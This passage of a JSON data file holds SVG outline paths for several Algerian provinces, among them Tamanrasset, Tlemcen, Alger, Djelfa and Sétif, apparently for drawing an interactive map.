0.892 c 0 0 -0.443 -1.387 -0.443 -1.387 c 0 0 1.058 -3.268 1.058 -3.268 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Bouira"},"11":{"path":"M 340.615 208.544 c 0 0 -43.124 33.261 -43.124 33.261 c 0 0 0.146 -0.413 0.146 -0.413 c 0 0 -17.526 -14.179 -17.526 -14.179 c 0 0 -11.145 0.971 -11.145 0.971 c 0 0 -10.264 3.806 -10.264 3.806 c 0 0 -0.784 10.595 -0.784 10.595 c 0 0 -1.104 3.51 -1.104 3.51 c 0 0 -3.164 5.032 -3.164 5.032 c 0 0 -0.81 10.075 -0.81 10.075 c 0 0 -1.856 3.177 -1.856 3.177 c 0 0 0.051 6.213 0.051 6.213 c 0 0 1.848 2.781 1.848 2.781 c 0 0 -2.565 6.435 -2.565 6.435 c 0 0 -0.465 8.885 -0.465 8.885 c 0 0 -2.35 1.68 -2.35 1.68 c 0 0 -0.139 -0.823 -0.139 -0.823 c 0 0 -1.748 0.209 -1.748 0.209 c 0 0 -0.883 -0.813 -0.883 -0.813 c 0 0 -2.635 0.807 -2.635 0.807 c 0 0 -1.19 2.448 -1.19 2.448 c 0 0 -7.482 7.684 -7.482 7.684 c 0 0 2.714 6.037 2.714 6.037 c 0 0 8.571 12.137 8.571 12.137 c 0 0 0.259 38.387 0.259 38.387 c 0 0 -0.63 56.825 -0.63 56.825 c 0 0 4.163 -0.675 4.163 -0.675 c 0 0 4.417 0.47 4.417 0.47 c 0 0 1.521 7.254 1.521 7.254 c 0 0 6.095 6.187 6.095 6.187 c 0 0 2.49 5.061 2.49 5.061 c 0 0 1.682 5.848 1.682 5.848 c 0 0 -0.031 6.131 -0.031 6.131 c 0 0 2.249 3.263 2.249 3.263 c 0 0 3.133 7.454 3.133 7.454 c 0 0 0.496 2.892 0.496 2.892 c 0 0 -2.249 0.725 -2.249 0.725 c 0 0 1.485 0.058 1.485 0.058 c 0 0 2.693 1.431 2.693 1.431 c 0 0 3.086 -0.021 3.086 -0.021 c 0 0 6.312 1.33 6.312 1.33 c 0 0 6.54 3.166 6.54 3.166 c 0 0 -0.412 3.706 -0.412 3.706 c 0 0 0.537 0.907 0.537 0.907 c 0 0 -0.542 1.742 -0.542 1.742 c 0 0 0.979 1.557 0.979 1.557 c 0 0 -0.357 0.987 -0.357 0.987 c 0 0 0.917 2.147 0.917 2.147 c 0 0 -1.474 1.56 -1.474 1.56 c 0 0 -0.373 1.711 -0.373 1.711 c 0 0 -2.086 2.864 -2.086 2.864 c 0 0 0.506 1.159 0.506 1.159 c 0 0 5.114 3.9 5.114 3.9 c 0 0 60.512 -13.771 60.512 -13.771 c 0 0 38.057 -37.723 38.057 -37.723 c 0 0 64.331 -46.843 64.331 -46.843 c 0 0 -0.719 -20.563 -0.719 -20.563 c 0 0 -7.48 -4.23 -7.48 -4.23 c 0 0 -2.209 0.049 -2.209 0.049 c 0 0 -1.657 -1.011 -1.657 -1.011 c 0 0 -13.903 0.818 -13.903 0.818 c 0 0 -12.891 9.613 -12.891 9.613 c 0 0 -17.177 4.161 -17.177 4.161 c 0 0 -6.243 -4.392 -6.243 -4.392 c 0 0 1.974 -2.233 1.974 -2.233 c 0 0 -5.578 -12.361 -5.578 -12.361 c 0 0 -1.04 -10.938 -1.04 -10.938 c 0 0 0.237 -3.784 0.237 -3.784 c 0 0 -5.594 -8.032 -5.594 -8.032 c 0 0 -4.477 -0.141 -4.477 -0.141 c 0 0 -2.836 -2.179 -2.836 -2.179 c 0 0 -3.687 -6.237 -3.687 -6.237 c 0 0 -1.628 -4.169 -1.628 -4.169 c 0 0 -5.061 -6.142 -5.061 -6.142 c 0 0 -5.932 -16.141 -5.932 -16.141 c 0 0 -1.532 -1.132 -1.532 -1.132 c 0 0 -0.138 -1.005 -0.138 -1.005 c 0 0 -2.248 -0.6 -2.248 -0.6 c 0 0 -1.181 -1.556 -1.181 -1.556 c 0 0 1.06 -3.062 1.06 -3.062 c 0 0 2.819 -2.351 2.819 -2.351 c 0 0 -0.418 -1.914 -0.418 -1.914 c 0 0 -12.688 -11.21 -12.688 -11.21 c 0 0 -0.039 -8.717 -0.039 -8.717 c 0 0 -3.73 -17.581 -3.73 -17.581 c 0 0 1.772 -8.354 1.772 -8.354 c 0 0 -1.292 -33.81 -1.292 -33.81 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Tamanrasset"},"12":{"path":"M 377.235 49.5529 c 0 0 0.397 -1.363 0.397 -1.363 c 0 0 1.877 1.4 1.877 1.4 c 0 0 1.622 -0.03 1.622 -0.03 c 0 0 2.103 -2.353 2.103 -2.353 c 0 0 1.256 0.156 1.256 0.156 c 0 0 2.499 -1.112 2.499 -1.112 c 0 0 2.176 1.081 2.176 1.081 c 0 0 -0.663 1.284 -0.663 1.284 c 0 0 0.469 0.414 0.469 0.414 c 0 0 -0.029 4.161 -0.029 4.161 c 0 0 1.961 1.389 1.961 1.389 c 0 0 0.321 3.785 0.321 3.785 c 0 0 0.61 0.972 0.61 0.972 c 0 0 -1.389 1.917 -1.389 1.917 c 0 0 0.063 2.599 0.063 2.599 c 0 0 2.079 1.616 2.079 1.616 c 0 0 1.524 0.072 1.524 0.072 c 0 0 -2.348 3.782 -2.348 3.782 c 0 0 -0.661 3.932 -0.661 3.932 c 0 0 -1.401 0.803 -1.401 0.803 c 0 0 0.931 3.721 0.931 3.721 c 0 0 0.876 0.981 0.876 0.981 c 0 0 -1.63 1.313 -1.63 1.313 c 0 0 0.909 0.787 0.909 0.787 c 0 0 -1.388 1.372 -1.388 1.372 c 0 0 0.229 0.686 0.229 0.686 c 0 0 -1.096 0.116 -1.096 0.116 c 0 0 -1.104 1.673 -1.104 1.673 c 0 0 -5.352 2.981 -5.352 2.981 c 0 0 -0.735 4.246 -0.735 4.246 c 0 0 -8.26 -0.416 -8.26 -0.416 c 0 0 -4.263 -1.484 -4.263 -1.484 c 0 0 0.773 -5.083 0.773 -5.083 c 0 0 2.108 -3.938 2.108 -3.938 c 0 0 0.024 -1.697 0.024 -1.697 c 0 0 -0.637 -0.956 -0.637 -0.956 c 0 0 0.749 -2.004 0.749 -2.004 c 0 0 -0.869 -2.387 -0.869 -2.387 c 0 0 -1.271 -0.098 -1.271 -0.098 c 0 0 -0.661 0.97 -0.661 0.97 c 0 0 -0.441 1.352 -0.441 1.352 c 0 0 0.5 -0.146 0.5 -0.146 c 0 0 -0.088 1.582 -0.088 1.582 c 0 0 -0.908 -2.111 -0.908 -2.111 c 0 0 1.39 -3.602 1.39 -3.602 c 0 0 1.306 -0.817 1.306 -0.817 c 0 0 1.429 -2.436 1.429 -2.436 c 0 0 -1.051 -1.558 -1.051 -1.558 c 0 0 0.787 -1.188 0.787 -1.188 c 0 0 -0.763 -0.573 -0.763 -0.573 c 0 0 -0.117 -2.443 -0.117 -2.443 c 0 0 3.133 -1.132 3.133 -1.132 c 0 0 0.624 -0.112 0.624 -0.112 c 0 0 1.879 -2.798 1.879 -2.798 c 0 0 4.046 -1.621 4.046 -1.621 c 0 0 -1.311 -2.658 -1.311 -2.658 c 0 0 -0.142 -1.094 -0.142 -1.094 c 0 0 0.772 -0.688 0.772 -0.688 c 0 0 -1.615 -0.739 -1.615 -0.739 c 0 0 -0.531 -2.116 -0.531 -2.116 c 0 0 -0.698 -0.39 -0.698 -0.39 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Tébessa"},"13":{"path":"M 193.764 72.7758 c 0 0 -0.686 0.069 -0.686 0.069 c 0 0 -0.264 -0.909 -0.264 -0.909 c 0 0 -3.488 -1.748 -3.488 -1.748 c 0 0 -0.331 0.33 -0.331 0.33 c 0 0 -0.372 -0.771 -0.372 -0.771 c 0 0 -1.081 0.455 -1.081 0.455 c 0 0 -2.338 -0.793 -2.338 -0.793 c 0 0 -0.918 1.336 -0.918 1.336 c 0 0 -1.082 0.265 -1.082 0.265 c 0 0 -1.053 -0.668 -1.053 -0.668 c 0 0 0.202 -0.954 0.202 -0.954 c 0 0 -0.848 -0.622 -0.848 -0.622 c 0 0 -3.998 2.927 -3.998 2.927 c 0 0 -0.671 -0.354 -0.671 -0.354 c 0 0 -2.174 1.167 -2.174 1.167 c 0 0 -3.447 0.248 -3.447 0.248 c 0 0 -1.838 -0.844 -1.838 -0.844 c 0 0 -1.167 0.414 -1.167 0.414 c 0 0 -0.104 0.95 -0.104 0.95 c 0 0 2.603 2.448 2.603 2.448 c 0 0 1.057 0.802 1.057 0.802 c 0 0 1.388 -0.219 1.388 -0.219 c 0 0 0.027 1.49 0.027 1.49 c 0 0 1.617 0.96 1.617 0.96 c 0 0 0.088 0.883 0.088 0.883 c 0 0 3.129 1.718 3.129 1.718 c 0 0 -2.502 3.209 -2.502 3.209 c 0 0 0.771 0.313 0.771 0.313 c 0 0 1.368 2.382 1.368 2.382 c 0 0 1.285 0.582 1.285 0.582 c 0 0 -2.119 2.566 -2.119 2.566 c 0 0 1.582 2.156 1.582 2.156 c 0 0 -0.213 1.807 -0.213 1.807 c 0 0 1.198 3.756 1.198 3.756 c 0 0 3.61 -2.621 3.61 -2.621 c 0 0 4.992 0.022 4.992 0.022 c 0 0 1.227 -1.408 1.227 -1.408 c 0 0 1.529 -0.482 1.529 -0.482 c 0 0 6.093 -5.633 6.093 -5.633 c 0 0 -0.362 -0.793 -0.362 -0.793 c 0 0 -0.956 -0.198 -0.956 -0.198 c 0 0 1.609 -0.95 1.609 -0.95 c 0 0 1.285 -2.754 1.285 -2.754 c 0 0 -0.23 -0.686 -0.23 -0.686 c 0 0 0.496 0.037 0.496 0.037 c 0 0 -0.273 -1.005 -0.273 -1.005 c 0 0 -2.376 0.271 -2.376 0.271 c 0 0 0.434 -3.193 0.434 -3.193 c 0 0 -1.177 0.239 -1.177 0.239 c 0 0 0.804 -1.134 0.804 -1.134 c 0 0 -1.191 -0.046 -1.191 -0.046 c 0 0 -0.506 -1.828 -0.506 -1.828 c 0 0 1.313 -2.126 1.313 -2.126 c 0 0 -1.942 -1.063 -1.942 -1.063 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Tlemcen"},"14":{"path":"M 258.955 61.8178 c 0 0 -1.327 0.262 -1.327 0.262 c 0 0 0.221 1.396 0.221 1.396 c 0 0 6.776 4.105 6.776 4.105 c 0 0 1.052 1.839 1.052 1.839 c 0 0 2.688 -2.3 2.688 -2.3 c 0 0 1.052 0.797 1.052 0.797 c 0 0 0.327 1.125 0.327 1.125 c 0 0 1.748 0.418 1.748 0.418 c 0 0 -0.01 1.521 -0.01 1.521 c 0 0 -0.677 0.26 -0.677 0.26 c 0 0 -1.121 2.251 -1.121 2.251 c 0 0 1.432 1.277 1.432 1.277 c 0 0 -3.229 1.273 -3.229 1.273 c 0 0 -1.447 4.661 -1.447 4.661 c 0 0 -1.47 0.458 -1.47 0.458 c 0 0 0.167 2.428 0.167 2.428 c 0 0 -3.015 0.372 -3.015 0.372 c 0 0 -0.437 1.044 -0.437 1.044 c 0 0 -1.978 0.888 -1.978 0.888 c 0 0 -2.348 2.563 -2.348 2.563 c 0 0 -4.877 1.753 -4.877 1.753 c 0 0 -1.839 2.088 -1.839 2.088 c 0 0 -0.365 2.438 -0.365 2.438 c 0 0 -1.645 0.978 -1.645 0.978 c 0 0 -0.272 -1.14 -0.272 -1.14 c 0 0 -3.774 2.229 -3.774 2.229 c 0 0 0.808 1.346 0.808 1.346 c 0 0 -2.194 1.46 -2.194 1.46 c 0 0 -1.118 -1.577 -1.118 -1.577 c 0 0 -0.216 -1.843 -0.216 -1.843 c 0 0 -5.541 0.295 -5.541 0.295 c 0 0 0.672 -4.883 0.672 -4.883 c 0 0 -3.973 -0.827 -3.973 -0.827 c 0 0 1.657 -2.906 1.657 -2.906 c 0 0 -2.975 -1.225 -2.975 -1.225 c 0 0 -0.316 -0.531 -0.316 -0.531 c 0 0 0.755 -0.53 0.755 -0.53 c 0 0 -0.449 -1.181 -0.449 -1.181 c 0 0 -1.062 0.458 -1.062 0.458 c 0 0 -1.729 -3.065 -1.729 -3.065 c 0 0 0.385 -1.708 0.385 -1.708 c 0 0 -0.557 -0.922 -0.557 -0.922 c 0 0 3.161 -2.329 3.161 -2.329 c 0 0 -1.595 -2.433 -1.595 -2.433 c 0 0 -1.402 -0.632 -1.402 -0.632 c 0 0 -0.281 -0.991 -0.281 -0.991 c 0 0 -3.297 0.388 -3.297 0.388 c 0 0 1.071 -1.77 1.071 -1.77 c 0 0 1.552 -1.101 1.552 -1.101 c 0 0 -0.245 -0.949 -0.245 -0.949 c 0 0 1.176 -1.409 1.176 -1.409 c 0 0 1.083 -0.161 1.083 -0.161 c 0 0 1.521 0.789 1.521 0.789 c 0 0 1.112 -0.354 1.112 -0.354 c 0 0 0.873 -2.104 0.873 -2.104 c 0 0 0.688 -0.28 0.688 -0.28 c 0 0 -1.49 -1.555 -1.49 -1.555 c 0 0 0.9 -0.182 0.9 -0.182 c 0 0 1.728 -2.878 1.728 -2.878 c 0 0 1.215 -0.098 1.215 -0.098 c 0 0 0.112 -0.867 0.112 -0.867 c 0 0 0.812 0.11 0.812 0.11 c 0 0 0.164 -0.913 0.164 -0.913 c 0 0 2.058 0.206 2.058 0.206 c 0 0 0.567 -0.985 0.567 -0.985 c 0 0 1.449 -0.572 1.449 -0.572 c 0 0 1.345 1.67 1.345 1.67 c 0 0 0.589 -2.298 0.589 -2.298 c 0 0 1.271 0.93 1.271 0.93 c 0 0 0.538 -0.303 0.538 -0.303 c 0 0 1.353 0.765 1.353 0.765 c 0 0 0.063 1.414 0.063 1.414 c 0 0 1.952 -0.174 1.952 -0.174 c 0 0 1.046 1.72 1.046 1.72 c 0 0 0.813 0.153 0.813 0.153 c 0 0 0.172 -1.047 0.172 -1.047 c 0 0 0.958 0.973 0.958 0.973 c 0 0 3.798 -0.432 3.798 -0.432 c 0 0 2.435 -1.337 2.435 -1.337 c 0 0 -0.56 0.67 -0.56 0.67 c 0 0 1.55 0.067 1.55 0.067 c 0 0 -0.034 0.954 -0.034 0.954 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Tiaret"},"15":{"path":"M 310.88 26.4728 c 0 0 1.398 1.952 1.398 1.952 c 0 0 0.068 1.338 0.068 1.338 c 0 0 -0.67 0.654 -0.67 0.654 c 0 0 -0.705 -0.539 -0.705 -0.539 c 0 0 -1.229 0.36 -1.229 0.36 c 0 0 -0.147 0.646 -0.147 0.646 c 0 0 1.777 0.943 1.777 0.943 c 0 0 -1.26 1.581 -1.26 1.581 c 0 0 0.406 0.661 0.406 0.661 c 0 0 -2.179 2.442 -2.179 2.442 c 0 0 -1.795 0.831 -1.795 0.831 c 0 0 -2.514 0.268 -2.514 0.268 c 0 0 -0.273 -0.535 -0.273 -0.535 c 0 0 -1.01 0.543 -1.01 0.543 c 0 0 -5.653 0.163 -5.653 0.163 c 0 0 -1.334 -0.33 -1.334 -0.33 c 0 0 -0.935 -1.637 -0.935 -1.637 c 0 0 -0.782 0.04 -0.782 0.04 c 0 0 -0.892 -1.236 -0.892 -1.236 c 0 0 -0.219 -1.694 -0.219 -1.694 c 0 0 1.417 -0.319 1.417 -0.319 c 0 0 0.845 0.592 0.845 0.592 c 0 0 -0.163 -1.288 -0.163 -1.288 c 0 0 1.354 0.313 1.354 0.313 c 0 0 -0.771 -0.862 -0.771 -0.862 c 0 0 0.386 -1.441 0.386 -1.441 c 0 0 1.042 0.231 1.042 0.231 c 0 0 0.179 -0.604 0.179 -0.604 c 0 0 0.945 -0.077 0.945 -0.077 c 0 0 0.045 -0.779 0.045 -0.779 c 0 0 1.354 -1.163 1.354 -1.163 c 0 0 -0.135 -1.239 -0.135 -1.239 c 0 0 5.439 -0.32 5.439 -0.32 c 0 0 1.851 0.426 1.851 0.426 c 0 0 0.986 -0.547 0.986 -0.547 c 0 0 3.174 0.626 3.174 0.626 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Tizi-Ouzou"},"16":{"path":"M 285.549 29.5858 c 0 0 -0.27 0.609 -0.27 0.609 c 0 0 0.656 -0.216 0.656 -0.216 c 0 0 0.031 1.021 0.031 1.021 c 0 0 -2.278 0.745 -2.278 0.745 c 0 0 -0.66 -0.482 -0.66 -0.482 c 0 0 0.391 0.701 0.391 0.701 c 0 0 -0.688 0.546 -0.688 0.546 c 0 0 -1.01 0.771 -1.01 0.771 c 0 0 -0.609 -0.302 -0.609 -0.302 c 0 0 -0.701 1.807 -0.701 1.807 c 0 0 -1.117 0.075 -1.117 0.075 c 0 0 0.107 -1.082 0.107 -1.082 c 0 0 -1.49 1.068 -1.49 1.068 c 0 0 -3.771 -1.583 -3.771 -1.583 c 0 0 -0.135 -1.446 -0.135 -1.446 c 0 0 0.607 -1.614 0.607 -1.614 c 0 0 0.9 -0.174 0.9 -0.174 c 0 0 0.272 -0.944 0.272 -0.944 c 0 0 1.205 -0.234 1.205 -0.234 c 0 0 1.831 0.088 1.831 0.088 c 0 0 0.494 1.2 0.494 1.2 c 0 0 1.162 0.524 1.162 0.524 c 0 0 2.119 -0.622 2.119 -0.622 c 0 0 0.155 -1.295 0.155 -1.295 c 0 0 2.799 0.839 2.799 0.839 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Alger"},"17":{"path":"M 303.711 95.2648 c 0 0 -4.303 -3.584 -4.303 -3.584 c 0 0 0.313 -2.084 0.313 -2.084 c 0 0 -1.836 -1.982 -1.836 -1.982 c 0 0 0.299 -2.041 0.299 -2.041 c 0 0 -0.719 -4.249 -0.719 -4.249 c 0 0 -3.906 -0.974 -3.906 -0.974 c 0 0 -1.411 0.479 -1.411 0.479 c 0 0 -0.14 -1.652 -0.14 -1.652 c 0 0 -1.402 -0.321 -1.402 -0.321 c 0 0 0.209 -2.972 0.209 -2.972 c 0 0 -0.698 -0.953 -0.698 -0.953 c 0 0 0.551 -0.067 0.551 -0.067 c 0 0 0.504 -1.54 0.504 -1.54 c 0 0 -1.839 0.736 -1.839 0.736 c 0 0 -1.138 -3.13 -1.138 -3.13 c 0 0 4.281 -3.605 4.281 -3.605 c 0 0 -0.424 -1.941 -0.424 -1.941 c 0 0 0.865 -0.632 0.865 -0.632 c 0 0 0.075 -1.772 0.075 -1.772 c 0 0 -4.719 -3.806 -4.719 -3.806 c 0 0 -1.903 -1.954 -1.903 -1.954 c 0 0 -0.313 -1.257 -0.313 -1.257 c 0 0 -1.091 0.049 -1.091 0.049 c 0 0 -0.854 -1.716 -0.854 -1.716 c 0 0 -1.031 1.021 -1.031 1.021 c 0 0 0.104 1.206 0.104 1.206 c 0 0 -0.753 1.37 -0.753 1.37 c 0 0 -2.786 0.7 -2.786 0.7 c 0 0 -0.185 -2.199 -0.185 -2.199 c 0 0 -0.699 0.144 -0.699 0.144 c 0 0 -0.693 -2.337 -0.693 -2.337 c 0 0 -2.585 0.707 -2.585 0.707 c 0 0 0.677 5.005 0.677 5.005 c 0 0 -0.578 -0.259 -0.578 -0.259 c 0 0 -1.83 1.359 -1.83 1.359 c 0 0 -1.605 2.564 -1.605 2.564 c 0 0 -1.292 0.661 -1.292 0.661 c 0 0 -2.698 -1.908 -2.698 -1.908 c 0 0 -0.229 0.56 -0.229 0.56 c 0 0 -2.476 0.813 -2.476 0.813 c 0 0 -2.139 0.167 -2.139 0.167 c 0 0 -0.658 -2.362 -0.658 -2.362 c 0 0 -3.699 0.315 -3.699 0.315 c 0 0 -1.327 0.263 -1.327 0.263 c 0 0 0.221 1.396 0.221 1.396 c 0 0 6.777 4.106 6.777 4.106 c 0 0 1.051 1.838 1.051 1.838 c 0 0 2.688 -2.299 2.688 -2.299 c 0 0 1.052 0.796 1.052 0.796 c 0 0 0.327 1.125 0.327 1.125 c 0 0 1.748 0.418 1.748 0.418 c 0 0 -0.01 1.521 -0.01 1.521 c 0 0 -0.677 0.259 -0.677 0.259 c 0 0 -1.122 2.251 -1.122 2.251 c 0 0 1.432 1.277 1.432 1.277 c 0 0 -3.229 1.273 -3.229 1.273 c 0 0 -1.446 4.661 -1.446 4.661 c 0 0 -1.471 0.458 -1.471 0.458 c 0 0 0.169 2.428 0.169 2.428 c 0 0 0.566 6.331 0.566 6.331 c 0 0 1.244 3.59 1.244 3.59 c 0 0 0.441 -0.086 0.441 -0.086 c 0 0 3.376 4.766 3.376 4.766 c 0 0 1.209 0.325 1.209 0.325 c 0 0 2.258 -1.065 2.258 -1.065 c 0 0 0.695 0.262 0.695 0.262 c 0 0 -0.026 -1.447 -0.026 -1.447 c 0 0 2.266 -2.289 2.266 -2.289 c 0 0 1.456 0.758 1.456 0.758 c 0 0 -0.123 0.432 -0.123 0.432 c 0 0 1.253 -0.433 1.253 -0.433 c 0 0 2.38 6.709 2.38 6.709 c 0 0 -0.146 1.212 -0.146 1.212 c 0 0 1.604 3.201 1.604 3.201 c 0 0 5.243 1.505 5.243 1.505 c 0 0 3.983 3.588 3.983 3.588 c 0 0 1.407 2.328 1.407 2.328 c 0 0 8.125 3.061 8.125 3.061 c 0 0 1.49 1.064 1.49 1.064 c 0 0 4.01 3.915 4.01 3.915 c 0 0 3.191 5.374 3.191 5.374 c 0 0 11.872 3.224 11.872 3.224 c 0 0 -2.209 -11.442 -2.209 -11.442 c 0 0 2.42 -5.131 2.42 -5.131 c 0 0 -0.116 -1.902 -0.116 -1.902 c 0 0 0.521 -0.88 0.521 -0.88 c 0 0 -4 -0.997 -4 -0.997 c 0 0 -0.725 -1.226 -0.725 -1.226 c 0 0 -1.964 0.328 -1.964 0.328 c 0 0 -0.39 -0.95 -0.39 -0.95 c 0 0 -3.261 -0.627 -3.261 -0.627 c 0 0 -1.081 -1.472 -1.081 -1.472 c 0 0 -6.57 -2.83 -6.57 -2.83 c 0 0 -0.45 -0.689 -0.45 -0.689 c 0 0 0.395 -0.524 0.395 -0.524 c 0 0 1.344 -0.124 1.344 -0.124 c 0 0 1.375 -1.476 1.375 -1.476 c 0 0 1.195 0.003 1.195 0.003 c 0 0 -0.568 -0.73 -0.568 -0.73 c 0 0 -2.354 -0.395 -2.354 -0.395 c 0 0 -0.386 -1.492 -0.386 -1.492 c 0 0 -1.887 -0.264 -1.887 -0.264 c 0 0 -0.935 -1.142 -0.935 -1.142 c 0 0 0.443 -0.693 0.443 -0.693 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Djelfa"},"18":{"path":"M 335.112 34.2048 c 0 0 1.112 -0.339 1.112 -0.339 c 0 0 1.367 0.723 1.367 0.723 c 0 0 1.504 -0.446 1.504 -0.446 c 0 0 1.242 -1.671 1.242 -1.671 c 0 0 4.855 0.813 4.855 0.813 c 0 0 1.86 -1.232 1.86 -1.232 c 0 0 0.435 0.64 0.435 0.64 c 0 0 2.741 0.479 2.741 0.479 c 0 0 -0.254 -1.387 -0.254 -1.387 c 0 0 0.828 -0.194 0.828 -0.194 c 0 0 0.3 -0.784 0.3 -0.784 c 0 0 -2.966 -1.426 -2.966 -1.426 c 0 0 -0.699 -3.309 -0.699 -3.309 c 0 0 -1.636 -0.354 -1.636 -0.354 c 0 0 0.278 -1.183 0.278 -1.183 c 0 0 -0.458 -0.661 -0.458 -0.661 c 0 0 -5.771 2.994 -5.771 2.994 c 0 0 -3.482 0.854 -3.482 0.854 c 0 0 -0.857 -0.566 -0.857 -0.566 c 0 0 -1.676 0.329 -1.676 0.329 c 0 0 -2.381 1.442 -2.381 1.442 c 0 0 -1.033 2.037 -1.033 2.037 c 0 0 -1.852 0.936 -1.852 0.936 c 0 0 0.027 1.315 0.027 1.315 c 0 0 0.917 0.194 0.917 0.194 c 0 0 0.751 -0.023 0.751 -0.023 c 0 0 0.402 1.854 0.402 1.854 c 0 0 0.979 0.076 0.979 0.076 c 0 0 0.992 -0.957 0.992 -0.957 c 0 0 1.248 0.676 1.248 0.676 c 0 0 1.227 -0.83 1.227 -0.83 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Jijel"},"19":{"path":"M 335.112 34.2048 c 0 0 0.558 0.717 0.558 0.717 c 0 0 -0.125 2.048 -0.125 2.048 c 0 0 1.244 0.953 1.244 0.953 c 0 0 -0.114 1.348 -0.114 1.348 c 0 0 1.395 0.426 1.395 0.426 c 0 0 -0.097 1.172 -0.097 1.172 c 0 0 2.188 2.367 2.188 2.367 c 0 0 -0.978 0.521 -0.978 0.521 c 0 0 0.049 1.868 0.049 1.868 c 0 0 1.715 0.399 1.715 0.399 c 0 0 0.284 2.085 0.284 2.085 c 0 0 -0.688 0.604 -0.688 0.604 c 0 0 1.162 1.212 1.162 1.212 c 0 0 -1.2 1.294 -1.2 1.294 c 0 0 -0.965 0.569 -0.965 0.569 c 0 0 0.444 1.163 0.444 1.163 c 0 0 -2.806 -2.418 -2.806 -2.418 c 0 0 -1.214 0.316 -1.214 0.316 c 0 0 -1.424 1.56 -1.424 1.56 c 0 0 0.121 0.773 0.121 0.773 c 0 0 1.212 0.402 1.212 0.402 c 0 0 -0.792 1.303 -0.792 1.303 c 0 0 -0.682 -0.238 -0.682 -0.238 c 0 0 -0.502 0.541 -0.502 0.541 c 0 0 -2.294 -0.948 -2.294 -0.948 c 0 0 -0.241 0.685 -0.241 0.685 c 0 0 -0.797 -0.078 -0.797 -0.078 c 0 0 -1.382 1.093 -1.382 1.093 c 0 0 0.234 1.001 0.234 1.001 c 0 0 -0.78 1.759 -0.78 1.759 c 0 0 -1.127 -0.334 -1.127 -0.334 c 0 0 -3.493 -0.469 -3.493 -0.469 c 0 0 -0.547 -0.806 -0.547 -0.806 c 0 0 0.417 -0.537 0.417 -0.537 c 0 0 -0.486 -0.518 -0.486 -0.518 c 0 0 -1.107 0.239 -1.107 0.239 c 0 0 -1.474 -1.041 -1.474 -1.041 c 0 0 0.169 -0.628 0.169 -0.628 c 0 0 -0.018 -1.602 -0.018 -1.602 c 0 0 2.088 -0.288 2.088 -0.288 c 0 0 -0.484 -2.927 -0.484 -2.927 c 0 0 1.669 -2.858 1.669 -2.858 c 0 0 -0.97 -0.972 -0.97 -0.972 c 0 0 0.127 -2.078 0.127 -2.078 c 0 0 -0.963 -0.273 -0.963 -0.273 c 0 0 -1.48 -2.546 -1.48 -2.546 c 0 0 -1.203 -0.362 -1.203 -0.362 c 0 0 -0.961 0.653 -0.961 0.653 c 0 0 -2.854 0.298 -2.854 0.298 c 0 0 -0.779 -0.983 -0.779 -0.983 c 0 0 0.302 -1.874 0.302 -1.874 c 0 0 -1.26 -0.672 -1.26 -0.672 c 0 0 2.517 -1.449 2.517 -1.449 c 0 0 0.048 -1.349 0.048 -1.349 c 0 0 3.62 0.479 3.62 0.479 c 0 0 0.447 -1.378 0.447 -1.378 c 0 0 0.928 0.088 0.928 0.088 c 0 0 0.039 -0.447 0.039 -0.447 c 0 0 2.159 1.465 2.159 1.465 c 0 0 -0.535 0.692 -0.535 0.692 c 0 0 -0.024 2.691 -0.024 2.691 c 0 0 0.57 -0.199 0.57 -0.199 c 0 0 -0.025 0.937 -0.025 0.937 c 0 0 1.656 -0.241 1.656 -0.241 c 0 0 0.748 -0.375 0.748 -0.375 c 0 0 -0.471 -0.92 -0.471 -0.92 c 0 0 1.314 -1.474 1.314 -1.474 c 0 0 -0.252 -0.684 -0.252 -0.684 c 0 0 2.389 -1.072 2.389 -1.072 c 0 0 0.184 -1.478 0.184 -1.478 c 0 0 0.751 -0.023 0.751 -0.023 c 0 0 0.403 1.854 0.403 1.854 c 0 0 0.979 0.077 0.979 0.077 c 0 0 0.992 -0.958 0.992 -0.958 c 0 0 1.248 0.676 1.248 0.676 c 0 0 1.224 -0.831 1.224 -0.831 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Sétif"},"20":{"path":"M 233.026 90.7739 c 0 0 -2.853 -0.734 -2.853 -0.734 c 0 0 -4.583 3.134 -4.583 3.134 c 0 0 -1.732 -2.296 -1.732 -2.296 c 0 0 -2.898 2.009 -2.898 2.009 c 0 0 -2.172 -0.253 -2.172 -0.253 c 0 0 -2.096 -2.128 -2.096 -2.128 c 0 0 -2.331 -0.763 -2.331 -0.763 c 0 0 -1.5 -1.498 -1.5 -1.498 c 0 0 -2.199 1.248 -2.199 1.248 c 0 0 -0.138 -2.153 -0.138 -2.153 c 0 0 -0.979 -1.096 -0.979 -1.096 c 0 0 0.256 -1.511 0.256 -1.511 c 0 0 2.491 1.248 2.491 1.248 c 0 0 0.646 1.884 0.646 1.884 c 0 0 1.12 -1.667 1.12 -1.667 c 0 0 -1.379 -2.84 -1.379 -2.84 c 0 0 -2.113 -1.373 -2.113 -1.373 c 0 0 -0.294 -1.104 -0.294 -1.104 c 0 0 -1.77 -0.163 -1.77 -0.163 c 0 0 0.403 -1.189 0.403 -1.189 c 0 0 -1.328 -0.901 -1.328 -0.901 c 0 0 1.163 -0.801 1.163 -0.801 c 0 0 -0.396 -2.087 -0.396 -2.087 c 0 0 1.813 -0.197 1.813 -0.197 c 0 0 -0.485 -1.763 -0.485 -1.763 c 0 0 0.353 -0.945 0.353 -0.945 c 0 0 1.317 -0.403 1.317 -0.403 c 0 0 0.982 0.007 0.982 0.007 c 0 0 0.665 -1.239 0.665 -1.239 c 0 0 0.345 1.976 0.345 1.976 c 0 0 2.583 -0.188 2.583 -0.188 c 0 0 1.301 0.867 1.301 0.867 c 0 0 1.081 -0.098 1.081 -0.098 c 0 0 0.205 0.906 0.205 0.906 c 0 0 1.011 0.663 1.011 0.663 c 0 0 2.493 -1.648 2.493 -1.648 c 0 0 0.773 0.891 0.773 0.891 c 0 0 0.999 0.119 0.999 0.119 c 0 0 1.539 -1.518 1.539 -1.518 c 0 0 3.298 -0.388 3.298 -0.388 c 0 0 0.28 0.989 0.28 0.989 c 0 0 1.403 0.633 1.403 0.633 c 0 0 1.595 2.433 1.595 2.433 c 0 0 -3.162 2.329 